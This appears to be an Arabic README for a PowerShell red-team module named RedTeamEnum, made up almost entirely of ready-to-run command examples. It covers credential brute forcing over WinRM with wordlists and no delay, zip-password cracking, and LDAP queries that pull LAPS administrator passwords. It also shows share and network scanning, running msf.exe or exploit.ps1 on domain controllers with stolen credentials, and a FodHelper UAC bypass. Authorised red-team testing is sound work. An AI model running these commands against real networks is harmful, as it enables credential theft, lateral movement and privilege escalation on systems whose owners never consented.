
مجموعة دوال باورشيل قد يستخدمها فريق الاختراق الأحمر في تمرين
مجموعة من دوال PowerShell يمكن لعضو الفريق الأحمر استخدامها لجمع البيانات من جهاز أو الحصول على وصول إلى هدف. أضفت ملفات ps1 للأوامر المضمنة في وحدة RedTeamEnum. سيتيح لك ذلك العثور بسهولة على أمر واحد فقط واستخدامه إذا كان هذا هو كل ما تريده. إذا كنت تريد الوحدة بأكملها، فقم بتنفيذ الإجراءات التالية بعد تنزيل دليل RedTeamEnum ومحتوياته إلى جهازك.
C:\PS> robocopy .\RedTeamEnum $env:USERPROFILE\Documents\WindowsPowerShell\Modules\RedTeamEnum *
# سيؤدي هذا إلى نسخ الوحدة إلى موقع يسمح لك باستيرادها بسهولة. إذا كنت تستخدم مزامنة OneDrive، فقد تحتاج إلى استخدام $env:USERPROFILE\OneDrive\Documents\WindowsPowerShell\Modules\RedTeamEnum بدلاً من ذلك.
C:\PS> Import-Module -Name RedTeamEnum -Verbose
# سيؤدي هذا إلى استيراد جميع الأوامر في الوحدة.
C:\PS> Get-Command -Module RedTeamEnum
# سيعرض هذا قائمة بجميع الأوامر في الوحدة.
C:\PS> Convert-Base64 -Value "Convert me to base64!" -Encode
C:\PS> Convert-Base64 -Value "Q29udmVydCBtZSB0byBiYXNlNjQh" -Decode
C:\PS> Convert-StringToHash -String "Convert me to base64!"
C:\PS> Convert-StringToHash -String "Password123" -Encoding UTF8 -Algorithm MD5
# يحول كلا المثالين أعلاه السلسلة Password123 إلى قيمة تجزئة MD5
C:\PS> Convert-SID -Username tobor
# يحول المثال أعلاه قيمة SID الخاصة بـ tobor
C:\PS> Convert-SID -SID S-1-5-21-2860287465-2011404039-792856344-500
# يحول المثال أعلاه قيمة SID إلى اسم المستخدم المرتبط بها
C:\PS> Test-BruteForceZipPassword -PassFile 'C:\Users\USER\Downloads\Applications\pass.txt' -Path 'C:\Users\USER\Downloads\Applications\KiTTY.7z' -ZipExe 'C:\Program Files\7-Zip\7z.exe'
# يستخدم هذا المثال كلمات المرور في ملف pass.txt لاختراق ملف KiTTY.7z المحمي بكلمة مرور
C:\PS> Test-BruteForceCredentials -ComputerName DC01.domain.com -UseSSL -Username 'admin','administrator' -Passwd 'Password123!' -SleepMinutes 5
# سيختبر هذا المثال كلمة المرور المحددة ضد كل من المستخدمين admin و administrator على الكمبيوتر البعيد DC01.domain.com باستخدام WinRM عبر HTTPS مع فاصل زمني قدره 5 دقائق بين كل محاولة
C:\PS> Test-BruteForceCredentials -ComputerName File.domain.com -UserFile C:\Temp\users.txt -PassFile C:\Temp\rockyou.txt
# سيختبر هذا المثال كل كلمة مرور في rockyou.txt ضد كل اسم مستخدم في ملف users.txt دون أي توقف بين المحاولات
C:\PS> Get-LdapInfo -Detailed -SPNNamedObjects -Domain domain.com -Credential (Get-Credential)
# يعيد المثال أعلاه جميع خصائص الكائنات التي تم إرجاعها في domain.com
#
C:\PS> Get-LdapInfo -DomainControllers | Select-Object -Property 'Name','ms-Mcs-AdmPwd'
# إذا تم تشغيل هذا كمسؤول، فسيعيد كلمة مرور LAPS لحساب المسؤول المحلي
#
C:\PS> Get-LdapInfo -ListUsers | Where-Object -Property SamAccountName -like "user.samname"
# ملاحظة: إذا قمت بتضمين مفتاح "-Detailed" وقمت بتوجيه الإخراج إلى Where-Object، فلن يتم إرجاع أي خصائص. إذا كنت ترغب في عرض جميع خصائص نتيجتك، فسيلزم تنفيذ ذلك باستخدام التنسيق أدناه
#
C:\PS> Get-LdapInfo -AllServers | Where-Object -Property LogonCount -gt 1 | Select-Object -Property *
C:\PS> Get-NetworkShareInfo -ShareName C$
# يعيد المثال أعلاه معلومات حول المشاركة C$ على الجهاز المحلي
#النتائج
Name : C$
InstallDate :
Description : Default share
Path : C:\
ComputerName : TOBORDESKTOP
Status : OK
C:\PS> Get-NetworkShareInfo -ShareName NETLOGON,SYSVOL,C$ -ComputerName DC01.domain.com, DC02.domain.com, 10.10.10.1
# يكتشف المثال أعلاه ويعيد معلومات حول NETLOGON و SYSVOL و C$ على الأجهزة البعيدة الثلاثة DC01 و DC02 و 10.10.10.1
C:\PS> Test-PrivEsc
C:\PS> Get-InitialEnum
C:\PS> Start-SimpleHTTPServer
افتح خادم HTTP على المنفذ 8000
#أو
C:\PS> Start-SimpleHTTPServer -Port 80
# افتح خادم HTTP على المنفذ 80
C:\PS> Invoke-PortScan -IpAddress 192.168.0.1
C:\PS> Invoke-PingSweep -Subnet 192.168.1.0 -Start 192 -End 224 -Source Singular
# ملاحظة: معلمة المصدر تعمل فقط إذا كانت قيمة توجيه مصدر IP هي "Yes"
C:\PS> Invoke-PingSweep -Subnet 10.0.0.0 -Start 1 -End 20 -Count 2
# القيمة الافتراضية للعدد هي 1
C:\PS> Invoke-PingSweep -Subnet 172.16.0.0 -Start 64 -End 128 -Count 3 -Source Multiple
# سيقوم الأمر أدناه باستخدام بيانات الاعتماد المدخلة لفتح الملف التنفيذي msf.exe كمستخدم tobor
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\msf.exe -Verbose
يمكن استخدام هذا الأمر cmdlet أيضًا لتنفيذ الملفات الموجودة على جهازك المحلي وتنفيذها على جهاز بعيد
# سيستخدم الأمر أدناه بيانات الاعتماد المدخلة لفتح الملف التنفيذي exploit.ps1 كمستخدم tobor على DC01 و DC02 باستخدام WinRM
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\exploit.ps1 -ComputerName "DC01.domain.com","DC02.domain.com"
# سيستخدم الأمر أدناه بيانات الاعتماد المدخلة لفتح الملف التنفيذي exploit.ps1 كمستخدم tobor على DC01 و DC02 باستخدام WinRM عبر HTTPS
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\exploit.ps1 -ComputerName "DC01.domain.com","DC02.domain.com" -UseSSL
C:\PS> Invoke-FodHelperBypass -Program "powershell" -Verbose
# أو
C:\PS> Invoke-FodHelperBypass -Program "cmd /c msf.exe" -Verbose